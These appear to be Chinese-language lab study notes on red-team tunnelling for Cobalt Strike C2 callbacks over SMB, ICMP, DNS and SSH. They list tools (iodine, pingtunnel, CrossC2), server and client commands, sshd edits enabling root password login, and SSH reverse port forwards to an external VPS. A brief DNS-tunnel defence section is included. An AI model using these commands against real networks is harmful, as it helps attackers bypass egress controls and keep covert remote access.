SMB隧道&通讯&上线
判断:445通讯 通过端口扫描是否开放445端口进行判断 上线:借助通讯后绑定上线 详见往期文章 通讯:直接SMB协议通讯即可
ICMP隧道&通讯&上线
判断:ping命令 能ping通说明可以使用icmp隧道 上线:见往期文章
通讯:其他项目(icmpsh icmptunnel) https://github.com/esrrhs/spp https://github.com/bdamele/icmpsh https://github.com/esrrhs/pingtunnel
DNS隧道&通讯&上线
判断:windows:nslookup linux:dig
1、上线环境:内网主机只出网DNS协议数据,解决上线
-域名申请及配置
-监听器创建及配置
-后门绑定监听器及生成
CS建立DNS隧道上线
mode dns-txt sleep 0
2、通讯环境:
有些鸡肋 内网主机只出网DNS协议数据,解决通讯 判断出网:nslookup www.baidu.com
项目工具:https://github.com/yarrick/iodine iodine/ˈaɪədaɪn/单词的意思就是碘 原子序数为 53,53 也是 DNS 服务对应的端口号
安装
yum install iodine #centos
apt-get intall iodine #ubuntu
-服务器:设置密码xiaodi并创建虚拟IP及绑定域名指向 这里演示linux服务端,windows服务端下载地址 https://code.kryo.se/iodine/
iodined -f -c -P whgojp 192.168.0.1 ns1.whgojp.top -DD
sudo iodined -f -c -P whgojp 192.168.0.1 ns1.whgojp.top -DD -f 在前台运行 -c 不检查传入请求的客户端 IP 地址 -P 客户端与服务端之间的连接密码 -D 调试级别,-D 表示第一级,-DD 表示第二级,依此类推 192.168.0.1 是自己自定义的局域网虚拟 IP 地址。
设置密码whgojp并创建虚拟IP及绑定域名指向
-客户端:连接密码whgojp并绑定域名指向
windows 演示
iodine -f -M 200 -P whgojp ns1.whgojp.top
直接放到靶机上执行会报错,windows客户端可以直接使用编译好的windows版本,同时需要安装TAP网卡驱动程序。也可以下载OpenVPN,安装时只选择TAP Virtual Ethernet Adapter,安装后服务器上就会多出一块“TAP-Wndows ADApter V9”的网卡
都能在对方电脑上安装程序了,还要这样大费周折
双方都新增了一个网卡(dns、TAP-9),从而建立了通道 ping不通是因为靶机上有防火墙
windows平台iodine建立DNS隧道连接
linux演示
未开防火墙
-尝试通讯尝试连接: ssh kali@192.168.0.2 这里我尝试ssh连接,但是立即命令中断,可能是DNS配置问题
SSH隧道&通讯
判断:ssh连接 1、上线: 由于CS无SSH协议监听器配置,无法上线 2、通讯: 由于SSH协议存在于Linux系统,跳板机必须Linux
iptables -F /* 清除所有规则 / iptables -A INPUT -p tcp --dport 22 -j ACCEPT /允许包从22端口进入/ iptables -A OUTPUT -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT /允许从22端口进入的包返回/ iptables -A OUTPUT -p udp --dport 53 -j ACCEPT / 域名解析端口,一般不开 / iptables -A INPUT -p udp --sport 53 -j ACCEPT / 域名解析端口,一般不开 / iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT /允许本机访问本机/ iptables -A OUTPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT iptables -A INPUT -p tcp -s 0/0 --dport 80 -j ACCEPT /允许所有IP访问80端口/ iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT iptables-save > /etc/sysconfig/iptables /保存配置/ iptables -L / 显示iptables列表 */
开启ssh协议登录:
vi /etc/ssh/sshd_config
PermitRootLogin yes
PasswordAuthentication yes
/etc/init.d/ssh start
/etc/init.d/ssh restart
本地:入站封 将本地访问 10.10.10.132的流量转发至公网vps 1234端口上
ssh -CfNg -R 1122:10.10.10.132:8080 root@47.94.130.xx
curl http://127.0.0.1:1122
SSH隧道流量转发远程vps-信息探针
远程:出站封 将本地访问10.10.10.132的流量转发至本地的1234的端口上
ssh -CfNg -L 1234:10.10.10.132:8080 root@10.10.10.146
curl http://127.0.0.1:1234
同上输入146密码,访问本地(146)1234端口,
防御DNS隧道攻击的方法
禁止网络中任何人向外部服务器发送DNS请求,只允许与受信任的DNS服务器通信。 虽然没有人会将TXT解析请求发送给DNS服务器,但是邮件服务器/网关会这样做,因此,可以将邮件服务器/网关列入白名单并阻止传入和传出流量中的TXT请求。 跟踪用户的DNS查询次数,如果达到阈值,就生成相应的报告
控制上线-插件-Linux&Mac&IOS&Android
项目:https://github.com/gloxec/CrossC2 面向Linux Mac IOS Android系统上线支持 1、插件使用 2、命令使用 使用参考: https://gloxec.github.io/CrossC2/zh_cn/ 1、下载对应版本加载器和CNA插件 2、上传加载器文件和本地加载CNA插件 3、修改CNA插件配置路径及上传Key文件 4、使用命令或插件绑定HTTPS监听器生成
使用CS4.7版本没有搭建成功
待续
安卓apk木马可以使用msf生成,不过只能在模拟器中成功上线
参考:
https://zhuanlan.zhihu.com/p/379021936 https://www.cnblogs.com/micr067/p/12263337.html